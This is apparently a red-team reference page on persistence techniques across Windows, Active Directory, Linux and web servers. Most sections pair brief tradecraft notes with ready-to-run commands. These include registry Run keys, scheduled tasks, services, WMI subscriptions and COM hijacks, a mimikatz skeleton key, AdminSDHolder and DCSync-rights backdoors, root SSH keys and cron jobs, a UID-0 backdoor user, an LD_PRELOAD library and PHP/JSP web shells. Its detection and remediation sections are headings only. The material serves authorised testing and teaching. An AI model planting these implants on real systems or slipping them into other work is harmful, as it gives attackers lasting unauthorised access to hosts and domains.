Persistence Techniques

Persistence is a durability question before it is a stealth question: choose the mechanism that survives the event the objective has to survive, then accept the artifact it leaves.

What Survives What

Three events decide the choice. A reboot tests whether something re-reads the mechanism automatically; a password change tests whether it depends on a rotating secret; a rebuild tests whether the state is on the host at all — and only directory-side persistence passes that one.

Every mechanism leaves one artifact, and most are a single line in an Autoruns diff.

Windows User-Level Persistence

No admin needed, and no use if nobody logs in: these fire in one user's context and need the payload somewhere that user can write — the first thing an EDR rule checks.

Registry Run Keys

HKCU fires at that user's logon, HKLM at any logon and needs admin. Trivial to write and trivial to enumerate — a mechanism of last resort where a baseline exists.

# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"

# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"

# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Startup Folder

The same trigger with no registry footprint: Explorer runs what it finds at logon, and a single shortcut is the easiest mechanism on the page to remove again.

# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()

Scheduled Tasks (User)

The most durable user-level option, because the trigger is yours to choose and the Task Scheduler runs it whether or not anyone is at the console.

# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon

# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger

# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $Trigger

Windows System-Level Persistence

System-level mechanisms run before anyone logs in, in a privileged context. That is more reliable and much louder: installing a service is one of the highest-signal events on an endpoint.

Windows Services

An automatic service starts at boot as LocalSystem. The artifact is the Services key and one 7045 at install — many SOCs alert on any 7045 that a deployment tool did not create.

# Create service
sc create "WinHelpSvc" binpath= "C:\ProgramData\WinHelp\svc.exe" start= auto

# Modify existing service
sc config servicename binpath= "C:\malicious.exe"

# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"

WMI Event Subscription

Three objects in root\subscription — filter, consumer, binding — which WMI recompiles at boot. Nothing runs until the filter's condition is met, so it is the quietest admin-level option, and all three objects are queryable.

# Create WMI Event Filter
$FilterArgs = @{
    Name = 'WinUpdate'
    EventNameSpace = 'root\CimV2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs

# Create Consumer (execute payload)
$ConsumerArgs = @{
    Name = 'WinUpdate'
    CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Bind Filter to Consumer
$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgs

DLL Search Order Hijacking

Execution rather than persistence on its own — it becomes persistence when the hijacked application starts at logon. The artifact is a DLL where the loader finds it before the real one.

# Find vulnerable applications
# Applications that load DLLs from writable paths

# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable

# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications

# Place malicious DLL in writable PATH location
# or application directory

COM Object Hijacking

HKCU\Software\Classes\CLSID shadows HKLM for that user, so re-registering an existing CLSID loads your DLL instead — no admin, and a per-user key for a machine-wide object.

# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\

# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"

Active Directory Persistence

The only group that survives a rebuild, because the state is in the directory rather than on a disk — and all of it is visible to anyone who reads the right attribute or ACL.

Skeleton Key

An LSASS patch on a DC that accepts a master password for any account: it survives every password reset and dies at reboot. With nothing on disk, it is found by integrity checks and by a logon no password should have produced.

# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across reboots

AdminSDHolder Abuse

SDProp copies the AdminSDHolder ACL onto every protected account hourly, so an ACE added there is re-applied even if someone removes it from the account you targeted. That re-propagation is both the mechanism and the tell.

# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts

# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"

$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "GenericAll",
    "Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL

# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.

DSRM Backdoor

The DSRM password is set at promotion and almost never rotated. DsrmAdminLogonBehavior set to 2 lets that account authenticate over the network, turning a break-glass secret into a durable local-admin logon on the DC.

# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion

# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior

# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASH

Security Descriptor Modification

Granting replication rights to a normal account is the most durable option of all: the account keeps its ordinary appearance and the rights survive password rotation. DCSync itself is taught in 06d; this is the persistence half.

# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID

# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName

# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "ExtendedRight",
    "Allow",
    [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $UserSID,
    "ExtendedRight",
    "Allow",
    [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACL

Linux Persistence

There is no service registry, so every mechanism below is a file in a directory something reads automatically — and therefore a file-integrity question, not an event-log one.

SSH Keys

A public key needs no password, so it survives every rotation and is invisible to password policy. The artifact is the key line and its fingerprint in sshd's accepted-publickey log, which records use.

# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Add to all users
for user in $(ls /home/); do
  mkdir -p /home/$user/.ssh
  echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
  chown -R $user:$user /home/$user/.ssh
done

Cron Jobs

Survives reboot and runs as its owner, with no unit to enable. A job pointing at /tmp or a script with no package behind it is the signal, and /etc/cron.d is easier to forget than the root crontab.

# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -

# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab

# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/update

Systemd Service

systemctl enable creates the symlink that starts the unit at boot, and Restart=always means killing the process is not removal.

# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service

Backdoor User

Crude but durable — and one awk from being found. A password rotation locks it out unless you also leave a key, so use it to prove the control fails, not as a long-lived mechanism.

# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd

# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some tools

LD_PRELOAD Hijacking

/etc/ld.so.preload is read for every binary on the system, so the library listed there runs in every new process — persistence with no service, cron entry or login. On most distributions the file should not exist at all.

# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>

void _init() {
    system("/tmp/beacon.sh");
}
EOF

gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preload

Web Server Persistence

Web Shells

Survives reboot, needs no credentials, and dies only when the application is redeployed from source — so it is right against a hand-managed server and wrong against a nightly pipeline. The artifact is the file plus POSTs to it.

# PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>

# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter

# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Tracking and Cleanup

The tracker is a deliverable: host, exact location, account, time created, the artefact it leaves and the command that removes it. If a mechanism cannot be described precisely enough to be removed, it should not go in — and the same row that records the location is what you hand the defender, because the removal command and the detection signal describe the same object from two sides.

Detection & Cleanup Reference

One row per mechanism: what it leaves behind, what fires when it runs, and how it comes out. Read the artefact column first — it is the one the client's file-integrity or registry baseline can see, and it usually exists before any event does.

Evidence Collection

False Positive Identification

Testing Checklist

Remediation & Hardening